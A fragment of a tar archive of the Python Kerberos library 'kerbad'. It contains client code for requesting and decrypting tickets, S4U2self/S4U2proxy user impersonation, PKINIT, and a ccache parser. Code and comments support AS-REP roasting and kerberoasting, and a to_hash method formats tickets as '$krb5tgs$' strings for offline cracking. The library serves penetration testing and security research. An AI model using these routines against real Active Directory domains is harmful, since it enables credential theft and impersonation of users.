ETYPE_INFO.load(enc_method['padata-value']) elif data_type == PaDataType.ETYPE_INFO2: enc_info_list = ETYPE_INFO2.load(enc_method['padata-value']) for enc_info in enc_info_list.native: supp_enc_methods[EncryptionType(enc_info['etype'])] = enc_info['salt'] logger.debug('Server supports encryption type %s with salt %s' % (EncryptionType(enc_info['etype']).name, enc_info['salt'])) preferred_enc_type = self.credential.get_preferred_enctype(supp_enc_methods) if preferred_enc_type not in supp_enc_methods: raise Exception('Preferred enc type not in supported enctypes') salt = supp_enc_methods[preferred_enc_type] if salt is not None: salt = salt.encode() self.server_salt = salt #enc_info['salt'].encode() return preferred_enc_type def get_TGT(self, override_etype = None, decrypt_tgt = True, kdcopts = ['forwardable','renewable','proxiable'], override_sname:KerberosSPN = None, with_pac:bool = True): """ decrypt_tgt: used for asreproast attacks Steps performed: 1. Send encrypted timestamp or empty (if no pre-auth selected) AS_REQ with all the encryption types we support 2. Depending on the response (either error or AS_REP with TGT) returns the TGT (or fail miserably) 3. PROFIT """ #first, let's check if CCACHE has the correct ticket already _, err = self.tgt_from_ccache() if err is None: return if override_etype is None: supported_etypes = self.credential.get_supported_enctypes() else: if isinstance(override_etype, list) is False: override_etype = [override_etype] supported_etypes = override_etype if self.credential.nopreauth: logger.debug('Generating initial TGT without authentication data') now = self._now() kdc_req_body = {} kdc_req_body['kdc-options'] = KDCOptions(set(kdcopts)) kdc_req_body['cname'] = PrincipalName({'name-type': NAME_TYPE.PRINCIPAL.value, 'name-string': self.credential.username.split('/')}) kdc_req_body['realm'] = self.credential.domain.upper() if override_sname is None: kdc_req_body['sname'] = PrincipalName({'name-type': NAME_TYPE.PRINCIPAL.value, 'name-string': ['krbtgt', self.credential.domain.upper()]}) else: # if we want to directly kerberoast with no-preauth user kdc_req_body['sname'] = PrincipalName({'name-type': NAME_TYPE.SRV_INST.value, 'name-string': override_sname.get_principalname()}) kdc_req_body['till'] = (now + datetime.timedelta(days=1)).replace(microsecond=0) kdc_req_body['rtime'] = (now + datetime.timedelta(days=1)).replace(microsecond=0) kdc_req_body['nonce'] = secrets.randbits(31) if override_etype is None: kdc_req_body['etype'] = self.credential.get_supported_enctypes() else: kdc_req_body['etype'] = override_etype pa_data_1 = {} if with_pac is True: pa_data_1['padata-type'] = int(PADATA_TYPE('PA-PAC-REQUEST')) pa_data_1['padata-value'] = PA_PAC_REQUEST({'include-pac': True}).dump() kdc_req = {} kdc_req['pvno'] = krb5_pvno kdc_req['msg-type'] = MESSAGE_TYPE.KRB_AS_REQ.value if len(pa_data_1) > 0: kdc_req['padata'] = [pa_data_1] kdc_req['req-body'] = KDC_REQ_BODY(kdc_req_body) req = AS_REQ(kdc_req) logger.debug('Sending initial TGT to %s' % self.ksoc.get_addr_str()) rep = self.ksoc.sendrecv(req.dump(), throw = False) if rep.name != 'KRB_ERROR': raise KerberosError(rep) #user can do kerberos auth without preauthentication! rep = rep.native self.kerberos_TGT = rep #if we want to roast the asrep (tgt rep) part then we dont even have the proper keys to decrypt #so we just return, the asrep can be extracted from this object anyhow return rep logger.debug('Generating initial TGT with authentication data') preauth_rep = None # Try every supported encryption type until one works for etype_int in supported_etypes: etype = EncryptionType(etype_int) try: preauth_rep = self.do_preauth(etype, with_pac=with_pac) break except KerberosError as e: if e.errorcode != KerberosErrorCode.KDC_ERR_ETYPE_NOTSUPP: raise e logger.debug('Failed to get TGT with etype %s' % etype.name) # If the server suggested encryption methods, we will use them if e.krb_err_msg.get('e-data'): srv_etype = self.select_preferred_encryption_method(e.krb_err_msg) logger.debug('Trying with supported suggested etype %s' % srv_etype.name) preauth_rep = self.do_preauth(srv_etype, with_pac=with_pac) break if etype_int == supported_etypes[-1]: raise e logger.debug('Got valid TGT response from server') rep = preauth_rep.native self.kerberos_TGT = rep if decrypt_tgt is False: return rep if self.credential.certificate is not None: self.kerberos_TGT_encpart, self.kerberos_session_key, self.kerberos_cipher = self.decrypt_asrep_cert(rep) self.kerberos_cipher_type = rep['enc-part']['etype'] self.ccache.add_tgt(self.kerberos_TGT, self.kerberos_TGT_encpart, override_pp = True) logger.debug('Got valid TGT') return else: cipherText = rep['enc-part']['cipher'] temp = self.kerberos_cipher.decrypt(self.kerberos_key, 3, cipherText) try: self.kerberos_TGT_encpart = EncASRepPart.load(temp).native except Exception as e: logger.debug('EncAsRepPart load failed, is this linux?') try: self.kerberos_TGT_encpart = EncTGSRepPart.load(temp).native except Exception as e: logger.error('Failed to load decrypted part of the reply!') raise e self.kerberos_cipher = _enctype_table[self.kerberos_TGT_encpart['key']['keytype']] self.kerberos_cipher_type = self.kerberos_TGT_encpart['key']['keytype'] self.kerberos_session_key = Key(self.kerberos_cipher.enctype, self.kerberos_TGT_encpart['key']['keyvalue']) self.ccache.add_tgt(self.kerberos_TGT, self.kerberos_TGT_encpart, override_pp = True) logger.debug('Got valid TGT') return def tgs_from_ccache(self, spn_user:KerberosSPN): try: if self.ccache is None: raise Exception('No CCACHE file found') tgs, keystruct, err = self.ccache.get_tgs(spn_user) if err is not None: raise err key = Key(keystruct['keytype'], keystruct['keyvalue']) tgs = TGS_REP(tgs).native return tgs, tgs['enc-part'], key, None except Exception as e: return None, None, None, e def get_TGS(self, spn_user, override_etype = None, is_linux = False): """ Requests a TGS ticket for the specified user. Returns the TGS ticket, end the decrpyted encTGSRepPart. spn_user: KerberosTarget: the service user you want to get TGS for. override_etype: None or list of etype values (int) Used mostly for kerberoasting, will override the AP_REQ supported etype values (which is derived from the TGT) to be able to recieve whatever tgs tiecket """ #first, let's check if CCACHE has the correct ticket already tgs, encTGSRepPart, key, err = self.tgs_from_ccache(spn_user) if err is None: return tgs, encTGSRepPart, key if self.kerberos_TGT is None: #let's check if CCACHE has a TGT for us _, err = self.tgt_from_ccache() if err is not None: raise Exception('No TGT found in CCACHE!') #nope, we need to contact the server logger.debug('Constructing TGS request for user %s' % spn_user.get_formatted_pname()) now = self._now() kdc_req_body = {} kdc_req_body['kdc-options'] = KDCOptions(set(['forwardable','renewable','renewable_ok', 'canonicalize'])) kdc_req_body['realm'] = spn_user.domain.upper() kdc_req_body['sname'] = PrincipalName({'name-type': NAME_TYPE.SRV_INST.value, 'name-string': spn_user.get_principalname()}) kdc_req_body['till'] = (now + datetime.timedelta(days=1)).replace(microsecond=0) kdc_req_body['nonce'] = secrets.randbits(31) if override_etype: kdc_req_body['etype'] = override_etype else: if self.kerberos_cipher_type == -128: # we dunno how to do GSS api calls with -128 etype, # but we can request etype 23 here for which all is implemented kdc_req_body['etype'] = [23] else: kdc_req_body['etype'] = [self.kerberos_cipher_type, 23] authenticator_data = {} authenticator_data['authenticator-vno'] = krb5_pvno authenticator_data['crealm'] = Realm(self.kerberos_TGT['crealm']) authenticator_data['cname'] = self.kerberos_TGT['cname'] authenticator_data['cusec'] = now.microsecond authenticator_data['ctime'] = now.replace(microsecond=0) if is_linux: ac = AuthenticatorChecksum() ac.flags = 0 ac.channel_binding = b'\x00'*16 chksum = {} chksum['cksumtype'] = 0x8003 chksum['checksum'] = ac.to_bytes() authenticator_data['cksum'] = Checksum(chksum) authenticator_data['seq-number'] = 0 authenticator_data_enc = self.kerberos_cipher.encrypt(self.kerberos_session_key, 7, Authenticator(authenticator_data).dump(), None) ap_req = {} ap_req['pvno'] = krb5_pvno ap_req['msg-type'] = MESSAGE_TYPE.KRB_AP_REQ.value ap_req['ap-options'] = APOptions(set()) ap_req['ticket'] = Ticket(self.kerberos_TGT['ticket']) ap_req['authenticator'] = EncryptedData({'etype': self.kerberos_cipher_type, 'cipher': authenticator_data_enc}) pa_data_1 = {} pa_data_1['padata-type'] = PaDataType.TGS_REQ.value pa_data_1['padata-value'] = AP_REQ(ap_req).dump() kdc_req = {} kdc_req['pvno'] = krb5_pvno kdc_req['msg-type'] = MESSAGE_TYPE.KRB_TGS_REQ.value kdc_req['padata'] = [pa_data_1] kdc_req['req-body'] = KDC_REQ_BODY(kdc_req_body) req = TGS_REQ(kdc_req) logger.debug('Constructing TGS request to server') rep = self.ksoc.sendrecv(req.dump()) if rep.name == 'KRB_ERROR': raise KerberosError(rep, 'get_TGS failed!') logger.debug('Got TGS reply, decrypting...') tgs = rep.native encTGSRepPart = EncTGSRepPart.load(self.kerberos_cipher.decrypt(self.kerberos_session_key, 8, tgs['enc-part']['cipher'])).native key = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue']) self.ccache.add_tgs(tgs, encTGSRepPart) logger.debug('Got valid TGS reply') self.kerberos_TGS = tgs return tgs, encTGSRepPart, key def U2U(self, kdcopts = ['forwardable','renewable','canonicalize', 'enc-tkt-in-skey'], supp_enc_methods = [EncryptionType.DES_CBC_CRC,EncryptionType.DES_CBC_MD4,EncryptionType.DES_CBC_MD5,EncryptionType.DES3_CBC_SHA1,EncryptionType.ARCFOUR_HMAC_MD5,EncryptionType.AES256_CTS_HMAC_SHA1_96,EncryptionType.AES128_CTS_HMAC_SHA1_96]): if not self.kerberos_TGT: logger.debug('[U2U] TGT is not available! Fetching TGT...') self.get_TGT() supp_enc = self.credential.get_preferred_enctype(supp_enc_methods) now = self._now() authenticator_data = {} authenticator_data['authenticator-vno'] = krb5_pvno authenticator_data['crealm'] = Realm(self.kerberos_TGT['crealm']) authenticator_data['cname'] = self.kerberos_TGT['cname'] authenticator_data['cusec'] = now.microsecond authenticator_data['ctime'] = now.replace(microsecond=0) authenticator_data_enc = self.kerberos_cipher.encrypt(self.kerberos_session_key, 7, Authenticator(authenticator_data).dump(), None) ap_req = {} ap_req['pvno'] = krb5_pvno ap_req['msg-type'] = MESSAGE_TYPE.KRB_AP_REQ.value ap_req['ap-options'] = APOptions(set()) ap_req['ticket'] = Ticket(self.kerberos_TGT['ticket']) ap_req['authenticator'] = EncryptedData({'etype': self.kerberos_cipher_type, 'cipher': authenticator_data_enc}) pa_data_auth = {} pa_data_auth['padata-type'] = PaDataType.TGS_REQ.value pa_data_auth['padata-value'] = AP_REQ(ap_req).dump() krb_tgs_body = {} krb_tgs_body['kdc-options'] = KDCOptions(set(kdcopts)) krb_tgs_body['sname'] = PrincipalName({'name-type': NAME_TYPE.PRINCIPAL.value, 'name-string': self.credential.username.split('/')}) krb_tgs_body['realm'] = self.credential.domain.upper() krb_tgs_body['till'] = (now + datetime.timedelta(days=1)).replace(microsecond=0) krb_tgs_body['nonce'] = secrets.randbits(31) krb_tgs_body['etype'] = [23] # dunno why it must be 23? krb_tgs_body['additional-tickets'] = [Ticket(self.kerberos_TGT['ticket'])] krb_tgs_req = {} krb_tgs_req['pvno'] = krb5_pvno krb_tgs_req['msg-type'] = MESSAGE_TYPE.KRB_TGS_REQ.value krb_tgs_req['padata'] = [pa_data_auth] #pa_for_user krb_tgs_req['req-body'] = KDC_REQ_BODY(krb_tgs_body) req = TGS_REQ(krb_tgs_req) logger.debug('[U2U] Sending request to server') reply = self.ksoc.sendrecv(req.dump()) if reply.name == 'KRB_ERROR': emsg = '[U2U] failed!' if reply.native['error-code'] == 16: emsg = '[U2U] Failed to get U2U! Error code (16) indicates that delegation is not enabled for this account!' raise KerberosError(reply, emsg) logger.debug('[U2U] Got reply, decrypting...') tgs = reply.native cipher = _enctype_table[int(tgs['ticket']['enc-part']['etype'])] encticket = tgs['ticket']['enc-part']['cipher'] decdata = cipher.decrypt(self.kerberos_session_key, 2, encticket) decticket = EncTicketPart.load(decdata).native encTGSRepPart = EncTGSRepPart.load(self.kerberos_cipher.decrypt(self.kerberos_session_key, 8, tgs['enc-part']['cipher'])).native key = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue']) self.ccache.add_tgs(tgs, encTGSRepPart) logger.debug('[U2U] Got valid TGS reply') return tgs, encTGSRepPart, key, decticket #https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/6a8dfc0c-2d32-478a-929f-5f9b1b18a169 def S4U2self(self, user_to_impersonate, spn_user = None, kdcopts = ['forwardable','renewable','canonicalize'], is_dmsa = False): """ user_to_impersonate : KerberosTarget class """ if not self.kerberos_TGT: logger.debug('[S4U2self] TGT is not available! Fetching TGT...') self.get_TGT() auth_package_name = 'Kerberos' now = self._now() ###### Calculating authenticator data authenticator_data = {} authenticator_data['authenticator-vno'] = krb5_pvno authenticator_data['crealm'] = Realm(self.kerberos_TGT['crealm']) authenticator_data['cname'] = self.kerberos_TGT['cname'] authenticator_data['cusec'] = now.microsecond authenticator_data['ctime'] = now.replace(microsecond=0) authenticator_data_enc = self.kerberos_cipher.encrypt(self.kerberos_session_key, 7, Authenticator(authenticator_data).dump(), None) ap_req = {} ap_req['pvno'] = krb5_pvno ap_req['msg-type'] = MESSAGE_TYPE.KRB_AP_REQ.value ap_req['ap-options'] = APOptions(set()) ap_req['ticket'] = Ticket(self.kerberos_TGT['ticket']) ap_req['authenticator'] = EncryptedData({'etype': self.kerberos_cipher_type, 'cipher': authenticator_data_enc}) pa_data_auth = {} pa_data_auth['padata-type'] = PaDataType.TGS_REQ.value pa_data_auth['padata-value'] = AP_REQ(ap_req).dump() nonce = secrets.randbits(31) if is_dmsa: from kerbad.protocol.asn1_structs import S4UUserID, PA_S4U_X509_USER, S4UUserIDOptions from kerbad.protocol.encryption import make_checksum, Cksumtype # [MS-SFU] 2.2.2 PA_S4U_X509_USER user_id = {} user_id['nonce'] = nonce user_id['cname'] = PrincipalName({'name-type': NAME_TYPE.PRINCIPAL.value, 'name-string': user_to_impersonate.get_principalname()}) user_id['crealm'] = user_to_impersonate.domain # Ensure the options set contains only valid and supported options user_id['options'] = S4UUserIDOptions(set(['signed-with-kun-27','unconditional-delegation'])) for_x509_user = {} for_x509_user['user-id'] = S4UUserID(user_id) enctype_to_checksum = { Enctype.DES_MD5: Cksumtype.MD5_DES, Enctype.DES3: Cksumtype.SHA1_DES3, Enctype.AES128: Cksumtype.SHA1_AES128, Enctype.AES256: Cksumtype.SHA1_AES256, Enctype.RC4: Cksumtype.MD4, Enctype.RC4_MD4: Cksumtype.HMAC_MD5, } cksumtype = enctype_to_checksum[self.kerberos_cipher_type] chksum_data = make_checksum(cksumtype, self.kerberos_session_key, 26, for_x509_user['user-id'].dump()) chksum = {} chksum['cksumtype'] = cksumtype chksum['checksum'] = chksum_data for_x509_user['checksum'] = Checksum(chksum) pa_for_user = {} pa_for_user['padata-type'] = int(PADATA_TYPE('FOR-X509-USER')) pa_for_user['padata-value'] = PA_S4U_X509_USER(for_x509_user).dump() else: ###### Calculating checksum data S4UByteArray = NAME_TYPE.PRINCIPAL.value.to_bytes(4, 'little', signed = False) S4UByteArray += user_to_impersonate.username.encode() S4UByteArray += user_to_impersonate.domain.encode() S4UByteArray += auth_package_name.encode() logger.debug('[S4U2self] S4UByteArray: %s' % S4UByteArray.hex()) logger.debug('[S4U2self] S4UByteArray: %s' % S4UByteArray) chksum_data = _HMACMD5.checksum(self.kerberos_session_key, 17, S4UByteArray) logger.debug('[S4U2self] chksum_data: %s' % chksum_data.hex()) chksum = {} chksum['cksumtype'] = int(CKSUMTYPE('HMAC_MD5')) chksum['checksum'] = chksum_data ###### Filling out PA-FOR-USER data for impersonation pa_for_user_enc = {} pa_for_user_enc['userName'] = PrincipalName({'name-type': NAME_TYPE.PRINCIPAL.value, 'name-string': user_to_impersonate.get_principalname()}) pa_for_user_enc['userRealm'] = user_to_impersonate.domain pa_for_user_enc['cksum'] = Checksum(chksum) pa_for_user_enc['auth-package'] = auth_package_name pa_for_user = {} pa_for_user['padata-type'] = int(PADATA_TYPE('PA-FOR-USER')) pa_for_user['padata-value'] = PA_FOR_USER_ENC(pa_for_user_enc).dump() ###### Constructing body if spn_user is not None: if isinstance(spn_user, str): spn_user = [spn_user] elif isinstance(spn_user, list): spn_user = spn_user else: spn_user = spn_user.get_principalname() else: spn_user = self.credential.username.split('/') krb_tgs_body = {} krb_tgs_body['kdc-options'] = KDCOptions(set(kdcopts)) krb_tgs_body['sname'] = PrincipalName({'name-type': NAME_TYPE.UNKNOWN.value, 'name-string': spn_user}) krb_tgs_body['realm'] = self.credential.domain.upper() krb_tgs_body['till'] = (now + datetime.timedelta(days=1)).replace(microsecond=0) krb_tgs_body['nonce'] = nonce krb_tgs_body['etype'] = [self.kerberos_session_key.enctype] #[supp_enc.value] #selecting according to server's preferences krb_tgs_req = {} krb_tgs_req['pvno'] = krb5_pvno krb_tgs_req['msg-type'] = MESSAGE_TYPE.KRB_TGS_REQ.value krb_tgs_req['padata'] = [pa_data_auth, pa_for_user] krb_tgs_req['req-body'] = KDC_REQ_BODY(krb_tgs_body) req = TGS_REQ(krb_tgs_req) logger.debug('[S4U2self] Sending request to server') reply = self.ksoc.sendrecv(req.dump()) if reply.name == 'KRB_ERROR': emsg = 'S4U2self failed!' if reply.native['error-code'] == 16: emsg = 'S4U2self: Failed to get S4U2self! Error code (16) indicates that delegation is not enabled for this account!' raise KerberosError(reply, emsg) logger.debug('[S4U2self] Got reply, decrypting...') tgs = reply.native encTGSRepPart = EncTGSRepPart.load(self.kerberos_cipher.decrypt(self.kerberos_session_key, 8, tgs['enc-part']['cipher'])).native key = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue']) self.ccache.add_tgs(tgs, encTGSRepPart) logger.debug('[S4U2self] Got valid TGS reply') self.kerberos_TGS = tgs return tgs, encTGSRepPart, key # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/c920c148-8a9c-42e9-b8e9-db5755cd281b def S4U2proxy(self, s4uself_ticket, spn_user, supp_enc_methods = [EncryptionType.ARCFOUR_HMAC_MD5,EncryptionType.AES256_CTS_HMAC_SHA1_96,EncryptionType.AES128_CTS_HMAC_SHA1_96]): logger.debug('[S4U2proxy] Impersonating %s' % '/'.join(spn_user.get_principalname())) now = self._now() supp_enc = self.credential.get_preferred_enctype(supp_enc_methods) pa_pac_opts = {} pa_pac_opts['padata-type'] = int(PADATA_TYPE('PA-PAC-OPTIONS')) pa_pac_opts['padata-value'] = PA_PAC_OPTIONS({'value' : PA_PAC_OPTIONSTypes(set(['resource-based constrained delegation']))}).dump() authenticator_data = {} authenticator_data['authenticator-vno'] = krb5_pvno authenticator_data['crealm'] = Realm(self.kerberos_TGT['crealm']) authenticator_data['cname'] = self.kerberos_TGT['cname'] authenticator_data['cusec'] = now.microsecond authenticator_data['ctime'] = now.replace(microsecond=0) authenticator_data_enc = self.kerberos_cipher.encrypt(self.kerberos_session_key, 7, Authenticator(authenticator_data).dump(), None) ap_req = {} ap_req['pvno'] = krb5_pvno ap_req['msg-type'] = MESSAGE_TYPE.KRB_AP_REQ.value ap_req['ap-options'] = APOptions(set()) ap_req['ticket'] = Ticket(self.kerberos_TGT['ticket']) ap_req['authenticator'] = EncryptedData({'etype': self.kerberos_cipher_type, 'cipher': authenticator_data_enc}) pa_tgs_req = {} pa_tgs_req['padata-type'] = PaDataType.TGS_REQ.value pa_tgs_req['padata-value'] = AP_REQ(ap_req).dump() krb_tgs_body = {} #krb_tgs_body['kdc-options'] = KDCOptions(set(['forwardable','forwarded','renewable','renewable-ok', 'canonicalize'])) krb_tgs_body['kdc-options'] = KDCOptions(set(['forwardable','renewable','constrained-delegation', 'canonicalize'])) krb_tgs_body['sname'] = PrincipalName({'name-type': NAME_TYPE.SRV_INST.value, 'name-string': spn_user.get_principalname()}) krb_tgs_body['realm'] = self.credential.domain.upper() krb_tgs_body['till'] = (now + datetime.timedelta(days=1)).replace(microsecond=0) krb_tgs_body['nonce'] = secrets.randbits(31) krb_tgs_body['etype'] = [self.kerberos_session_key.enctype] #[supp_enc.value] #selecting according to server's preferences krb_tgs_body['additional-tickets'] = [s4uself_ticket] krb_tgs_req = {} krb_tgs_req['pvno'] = krb5_pvno krb_tgs_req['msg-type'] = MESSAGE_TYPE.KRB_TGS_REQ.value krb_tgs_req['padata'] = [pa_tgs_req, pa_pac_opts] krb_tgs_req['req-body'] = KDC_REQ_BODY(krb_tgs_body) req = TGS_REQ(krb_tgs_req) reply = self.ksoc.sendrecv(req.dump()) if reply.name == 'KRB_ERROR': emsg = 'S4U2proxy failed!' if reply.native['error-code'] == 16: emsg = 'S4U2proxy: Failed to get S4U2proxy! Error code (16) indicates that delegation is not enabled for this account!' raise KerberosError(reply, emsg) logger.debug('[S4U2proxy] Got server reply, decrypting...') tgs = reply.native encTGSRepPart = EncTGSRepPart.load(self.kerberos_cipher.decrypt(self.kerberos_session_key, 8, tgs['enc-part']['cipher'])).native key = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue']) self.ccache.add_tgs(tgs, encTGSRepPart) logger.debug('[S4U2proxy] Got valid TGS reply') return tgs, encTGSRepPart, key def construct_apreq(self, tgs, encTGSRepPart, sessionkey, flags = None, seq_number = 0, ap_opts = [], cb_data = None): return construct_apreq_from_tgs_tgt( tgs, sessionkey, self.kerberos_TGT, flags = flags, seq_number = seq_number, ap_opts = ap_opts, cb_data = cb_data ) def getST(self, target_user, service_spn): tgs, encTGSRepPart, key = self.S4U2self(target_user) return self.S4U2proxy(tgs['ticket'], service_spn) def decrypt_asrep_cert(self, as_rep): def truncate_key(value, keysize): output = b'' currentNum = 0 while len(output) < keysize: currentDigest = hashlib.sha1(bytes([currentNum]) + value).digest() if len(output) + len(currentDigest) > keysize: output += currentDigest[:keysize - len(output)] break output += currentDigest currentNum += 1 return output for pa in as_rep['padata']: if pa['padata-type'] == 17: pkasrep = PA_PK_AS_REP.load(pa['padata-value']).native break else: raise Exception('PA_PK_AS_REP not found!') try: sd = cms.SignedData.load(pkasrep['dhSignedData']).native except: sd = cms.SignedData.load(pkasrep['dhSignedData'][19:]).native # !!!!!!!!!!!!! TODO: CHECKTHIS!!! Sometimes there is an OID before the struct?! keyinfo = sd['encap_content_info'] if keyinfo['content_type'] != '1.3.6.1.5.2.3.2': raise Exception('Keyinfo content type unexpected value') authdata = KDCDHKeyInfo.load(keyinfo['content']).native pubkey = int(''.join(['1'] + [str(x) for x in authdata['subjectPublicKey']]), 2) pubkey = int.from_bytes(core.BitString(authdata['subjectPublicKey']).dump()[7:], 'big', signed = False) # !!!!!!!!!!!!! TODO: CHECKTHIS!!! shared_key = self.credential.dhparams.exchange(pubkey) server_nonce = pkasrep['serverDHNonce'] fullKey = shared_key + self.credential.dhparams.dh_nonce + server_nonce etype = as_rep['enc-part']['etype'] cipher = _enctype_table[etype] if etype == Enctype.AES256: self.pkinit_tkey = truncate_key(fullKey, 32) elif etype == Enctype.AES128: self.pkinit_tkey = truncate_key(fullKey, 16) elif etype == Enctype.RC4: raise NotImplementedError('RC4 key truncation documentation missing. it is different from AES') #self.pkinit_tkey = truncate_key(fullKey, 16) key = Key(cipher.enctype, self.pkinit_tkey) enc_data = as_rep['enc-part']['cipher'] dec_data = cipher.decrypt(key, 3, enc_data) encasrep = EncASRepPart.load(dec_data).native cipher = _enctype_table[ int(encasrep['key']['keytype'])] session_key = Key(cipher.enctype, encasrep['key']['keyvalue']) return encasrep, session_key, cipher def with_clock_skew(self, func, *args, **kwargs): """ Calls the given function with arguments. If a KerberosError with KRB_AP_ERR_SKEW is raised, computes the clock skew, sets self.clock_skew, and retries the function once. Usage: client.with_clock_skew(client.get_TGS, spn) """ try: return func(*args, **kwargs) except KerberosError as e: if getattr(e, 'errorcode', None) == KerberosErrorCode.KRB_AP_ERR_SKEW: server_time = e.krb_err_msg['stime'] local_time = datetime.datetime.now(datetime.timezone.utc) self.clock_skew = server_time - local_time logger.warning(f"Clock skew detected. Adjusting local time by {self.clock_skew}. Retrying operation.") return func(*args, **kwargs) raise ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1769847309.0 kerbad-0.5.10/kerbad/common/0000777000175000000000000000000015137335015014650 5ustar00silverroot././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740832070.0 kerbad-0.5.10/kerbad/common/__init__.py0000777000175000000000000000000014760576506016767 0ustar00silverroot././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1765464035.0 kerbad-0.5.10/kerbad/common/ccache.py0000777000175000000000000006545315116553743016457 0ustar00silverrootimport os import io import datetime import glob import base64 from typing import List from kerbad.protocol.asn1_structs import Ticket, EncryptedData, \ krb5_pvno, KrbCredInfo, EncryptionKey, KRBCRED, TicketFlags, EncKrbCredPart from kerbad.common.utils import dt_to_kerbtime from kerbad.protocol.constants import EncryptionType, MESSAGE_TYPE from kerbad import logger from asn1crypto import core from unicrypto import hashlib from kerbad.common.kirbi import Kirbi from kerbad.common.spn import KerberosSPN # http://repo.or.cz/w/krb5dissect.git/blob_plain/HEAD:/ccache.txt class Header: def __init__(self): self.tag:int = None self.taglen:int = None self.tagdata:bytes = None @staticmethod def parse(data): """ returns a list of header tags """ reader = io.BytesIO(data) headers = [] while reader.tell() < len(data): h = Header() h.tag = int.from_bytes(reader.read(2), byteorder='big', signed=False) h.taglen = int.from_bytes(reader.read(2), byteorder='big', signed=False) h.tagdata = reader.read(h.taglen) headers.append(h) return headers def to_bytes(self): t = self.tag.to_bytes(2, byteorder='big', signed=False) t += len(self.tagdata).to_bytes(2, byteorder='big', signed=False) t += self.tagdata return t @staticmethod def from_bytes(data:bytes): return Header.parse(data) def __str__(self): t = 'tag: %s\n' % self.tag t += 'taglen: %s\n' % self.taglen t += 'tagdata: %s\n' % self.tagdata return t class DateTime: def __init__(self): self.time_offset:int = None self.usec_offset:int = None @staticmethod def parse(reader:io.BytesIO): d = DateTime() d.time_offset = int.from_bytes(reader.read(4), byteorder='big', signed=False) d.usec_offset = int.from_bytes(reader.read(4), byteorder='big', signed=False) return d def to_bytes(self): t = self.time_offset.to_bytes(4, byteorder='big', signed=False) t += self.usec_offset.to_bytes(4, byteorder='big', signed=False) return t @staticmethod def from_bytes(data:bytes): return DateTime.parse(io.BytesIO(data)) class Credential: def __init__(self): self.client = None self.server = None self.key = None self.time = None self.is_skey = None self.tktflags = None self.num_address = None self.addrs = [] self.num_authdata = None self.authdata = [] self.ticket = None self.second_ticket = None def to_hash(self): res = Ticket.load(self.ticket.to_asn1()).native tgs_encryption_type = int(res['enc-part']['etype']) t = len(res['sname']['name-string']) if t == 1: tgs_name_string = res['sname']['name-string'][0] else: tgs_name_string = res['sname']['name-string'][1] tgs_realm = res['realm'] if tgs_encryption_type == EncryptionType.AES256_CTS_HMAC_SHA1_96.value: tgs_checksum = res['enc-part']['cipher'][-12:] tgs_encrypted_data2 = res['enc-part']['cipher'][:-12] return '$krb5tgs$%s$%s$%s$%s$%s' % (tgs_encryption_type,tgs_name_string,tgs_realm, tgs_checksum.hex(), tgs_encrypted_data2.hex() ) else: tgs_checksum = res['enc-part']['cipher'][:16] tgs_encrypted_data2 = res['enc-part']['cipher'][16:] return '$krb5tgs$%s$*%s$%s$spn*$%s$%s' % (tgs_encryption_type,tgs_name_string,tgs_realm, tgs_checksum.hex(), tgs_encrypted_data2.hex() ) def to_tgt(self): """ Returns the native format of an AS_REP message and the sessionkey in EncryptionKey native format """ enc_part = EncryptedData({'etype': 1, 'cipher': b''}) tgt_rep = {} tgt_rep['pvno'] = krb5_pvno tgt_rep['msg-type'] = MESSAGE_TYPE.KRB_AS_REP.value tgt_rep['crealm'] = self.client.realm.to_string() tgt_rep['cname'] = self.client.to_asn1()[0] tgt_rep['ticket'] = Ticket.load(self.ticket.to_asn1()).native tgt_rep['enc-part'] = enc_part.native t = EncryptionKey(self.key.to_asn1()).native return tgt_rep, t def to_tgs(self): """ Returns the native format of an AS_REP message and the sessionkey in EncryptionKey native format """ enc_part = EncryptedData({'etype': 1, 'cipher': b''}) tgt_rep = {} tgt_rep['pvno'] = krb5_pvno tgt_rep['msg-type'] = MESSAGE_TYPE.KRB_AS_REP.value tgt_rep['crealm'] = self.client.realm.to_string() tgt_rep['cname'] = self.client.to_asn1()[0] tgt_rep['ticket'] = Ticket.load(self.ticket.to_asn1()).native tgt_rep['enc-part'] = enc_part.native t = EncryptionKey(self.key.to_asn1()).native return tgt_rep, t def to_kirbi(self): filename = '%s@%s_%s' % (self.client.to_string() , self.server.to_string(), hashlib.sha1(self.ticket.to_asn1()).hexdigest()[:8]) krbcredinfo = {} krbcredinfo['key'] = EncryptionKey(self.key.to_asn1()) krbcredinfo['prealm'] = self.client.realm.to_string() krbcredinfo['pname'] = self.client.to_asn1()[0] krbcredinfo['flags'] = core.IntegerBitString(self.tktflags).cast(TicketFlags) if self.time.authtime != 0: #this parameter is not mandatory, and most of the time not present krbcredinfo['authtime'] = datetime.datetime.fromtimestamp(self.time.authtime, datetime.timezone.utc) if self.time.starttime != 0: krbcredinfo['starttime'] = datetime.datetime.fromtimestamp(self.time.starttime, datetime.timezone.utc) if self.time.endtime != 0: krbcredinfo['endtime'] = datetime.datetime.fromtimestamp(self.time.endtime, datetime.timezone.utc) if self.time.renew_till != 0: #this parameter is not mandatory, and sometimes it's not present krbcredinfo['renew-till'] = datetime.datetime.fromtimestamp(self.time.authtime, datetime.timezone.utc) krbcredinfo['srealm'] = self.server.realm.to_string() krbcredinfo['sname'] = self.server.to_asn1()[0] enc_krbcred = {} enc_krbcred['ticket-info'] = [KrbCredInfo(krbcredinfo)] krbcred = {} krbcred['pvno'] = krb5_pvno krbcred['msg-type'] = MESSAGE_TYPE.KRB_CRED.value krbcred['tickets'] = [Ticket.load(self.ticket.to_asn1())] krbcred['enc-part'] = EncryptedData({'etype': EncryptionType.NULL.value, 'cipher': EncKrbCredPart(enc_krbcred).dump()}) kirbi = Kirbi(KRBCRED(krbcred)) return kirbi, filename @staticmethod def from_kirbi(kirbi:Kirbi): krbcred = kirbi.kirbiobj.native c = Credential() enc_credinfo = EncKrbCredPart.load(krbcred['enc-part']['cipher']).native ticket_info = enc_credinfo['ticket-info'][0] c.client = CCACHEPrincipal.from_asn1(ticket_info['pname'], 